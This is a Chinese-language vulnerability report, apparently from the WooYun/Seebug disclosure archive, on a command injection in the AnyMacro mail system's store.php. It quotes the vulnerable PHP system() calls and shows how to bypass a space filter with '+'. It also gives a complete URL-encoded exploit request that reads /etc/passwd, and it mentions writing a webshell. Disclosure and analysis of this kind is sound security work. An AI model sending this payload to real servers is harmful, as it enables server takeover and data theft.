### 简要描述:
### 详细说明:
乌云已经把它列入到通用型奖励厂商当中了。
0x01 背景
AnyMacro(安宁)成立于1999年,是国内领先的统一消息/移动门户/PushMail产品与应用解决方案提供商。主要客户涵盖国家部委、大型企业以及部分海外客户,客户分布于政府、军工、金融、电信、能源、教育等行业。 AnyMacro在技术创新和关键应用中一直处于行业领先地位,在全球首家提出并实现LAMP架构邮件/消息系统已成为事实的行业标准。AnyMacro 具有统一消息/移动门户/PushMail领域的全线技术与自主知识产权,还是多家国际Linux厂商的OEM邮件/消息产品提供商。
0x02 漏洞分析:
由于该邮件系统多处由于调用system()函数,并且由于未做充分考虑。。导致攻击者可以绕过限制,将构造好的命令字符串直接达到命令执行(可写shell,可执行系统命令,可控制整个服务器)。
具体分析如下:
在根目录下store.php中
```
//下载文件或者目录操作的模块
….//省略若干代码
if ( !empty($_REQUEST['F_down']) ) {
$result = array();
if ( !isset($_REQUEST['F_file']) || count($_REQUEST['F_file']) == 0 || strpos($_REQUEST['F_tarname'], ' ') !== false ) {
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
//得到需要压缩的文件列表
$file = array();
$sql = "SELECT name FROM indexinfo WHERE id IN (".implode(",", $_REQUEST['F_file']).")";
$rs = sqlite3_query($sql_id, $sql);
if ( !$rs ) {
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
while ( $row = sqlite3_fetch_array($rs) ) {
if ( !file_exists("$store_dir/".$row['name']) ) {
continue;
}
$file[] = $row['name'];
}
sqlite3_query_close($rs);
if ( count($file) == 0 ) {
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
if ( !empty($_REQUEST['F_type']) ) {
$filestr = "";
$filestr = "\"".implode("\" \"", $file)."\"";
$tmpdir = $SESSION['maildir']."/tmp";
$filename = urldecode($_REQUEST['F_tarname']);
if ( $_REQUEST['F_type'] == 'zip' ) {
system("cd $store_dir; zip -r \"$tmpdir/$filename\" $filestr 2>&1 > /dev/null");
// header("Content-Type: application/zip");
} else if ( $_REQUEST['F_type'] == 'tgz' ) {
system("tar cfz \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null");
// header("Content-Type: application/x-tar");
// header("Content-Encoding: gzip");
} else if ( $_REQUEST['F_type'] == 'tar' ) {
system("tar cf \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
// header("Content-Type: application/x-tar");
} else if ( $_REQUEST['F_type'] == 'bz2' ) {
system("tar cfj \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
…..//省略若干代码
```
其中
```
if ( !empty($_REQUEST['F_down']) ) { //当变量F_down不为空的情况下,可设置为1
$result = array();
if ( !isset($_REQUEST['F_file']) || count($_REQUEST['F_file']) == 0 || strpos($_REQUEST['F_tarname'], ' ') !== false ) { // F_file不为空,并且为数组。。这里的$_REQUEST['F_tarname']为绕过的关键,他里面必须不能带空格。
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
```
接下来分析
```
$filename = urldecode($_REQUEST['F_tarname']); //这里url解码一下
if ( $_REQUEST['F_type'] == 'zip' ) {
system("cd $store_dir; zip -r \"$tmpdir/$filename\" $filestr 2>&1 > /dev/null");
// header("Content-Type: application/zip");
} else if ( $_REQUEST['F_type'] == 'tgz' ) {
system("tar cfz \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null"); //漏洞点 其中$filename是可控的。。 $tmpdir为之前配置好的,无需关注。所以这里将可命令注入漏洞
// header("Content-Type: application/x-tar");
```
0x03 exploit分析
Exploit构造,前面我们可知$_REQUEST['F_tarname'] 可控,(但是需要注意的是前面空格做了限制)
我们可以构造如下攻击包。。。
store.php?F_sid=9ead95a11698fb7a1302dbbc6d730ad1&F_down=1&F_tarname=fuck.tar" /etc/passwd |echo 13111 > /tmp/test.txt||"
但是前面我们提过,不能要空格,有什么方法绕过呢?。。。。
其实+可以替代我们的空格的,顾我们可以绕过,直接执行系统命令了。。如
fuck.tar"+/etc/passwd+|cat+/etc/passwd+>+/tmp/test.txt||"
然后urlencode一下
/store.php?F_sid=9ead95a11698fb7a1302dbbc6d730ad1&F_down=1&F_tarname=fuck.tar%22%2B%2Fetc%2Fpasswd%2B%7Ccat%2B%2Fetc%2Fpasswd%2B%3E%2B%2Ftmp%2Ftest.txt%7C%7C%22&F_type=tgz&F_file[]=
即可将passwd 写到/tmp/目录下test.txt中
[<img src="https://images.seebug.org/upload/201405/17234707d785a4560d7faebfe9ebc8c8a733b098.jpg" alt="5987K$PN4ZK$W7{$Q0}CI]2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/17234707d785a4560d7faebfe9ebc8c8a733b098.jpg)
[<img src="https://images.seebug.org/upload/201405/1723474904206bff8adb5f7ef1e3f1d9e96fc3f3.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1723474904206bff8adb5f7ef1e3f1d9e96fc3f3.jpg)
然后写shell了
[<img src="https://images.seebug.org/upload/201405/17234846b325190404b6d667459fc8d12447cf4a.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/17234846b325190404b6d667459fc8d12447cf4a.jpg)
其中在simple/store.php同样存在该问题
```
if ( !empty($_REQUEST['F_type']) ) {
$filestr = "";
$filestr = "\"".implode("\" \"", $file)."\"";
$tmpdir = $SESSION['maildir']."/tmp";
$filename = urldecode($_REQUEST['F_tarname']);
if ( $_REQUEST['F_type'] == 'zip' ) {
system("cd $store_dir; zip -r \"$tmpdir/$filename\" $filestr 2>&1 > /dev/null");
// header("Content-Type: application/zip");
} else if ( $_REQUEST['F_type'] == 'tgz' ) {
system("tar cfz \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null");
// header("Content-Type: application/x-tar");
// header("Content-Encoding: gzip");
} else if ( $_REQUEST['F_type'] == 'tar' ) {
system("tar cf \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
// header("Content-Type: application/x-tar");
} else if ( $_REQUEST['F_type'] == 'bz2' ) {
system("tar cfj \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
// header("Content-Type: application/x-bzip2");
} else {
dieStore_tpl('1', $MSG['NOT_COMPRESS_FORMAT']);
}
```
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201405/1723474904206bff8adb5f7ef1e3f1d9e96fc3f3.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1723474904206bff8adb5f7ef1e3f1d9e96fc3f3.jpg)
然后写shell了
[<img src="https://images.seebug.org/upload/201405/17234846b325190404b6d667459fc8d12447cf4a.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/17234846b325190404b6d667459fc8d12447cf4a.jpg)
暂无评论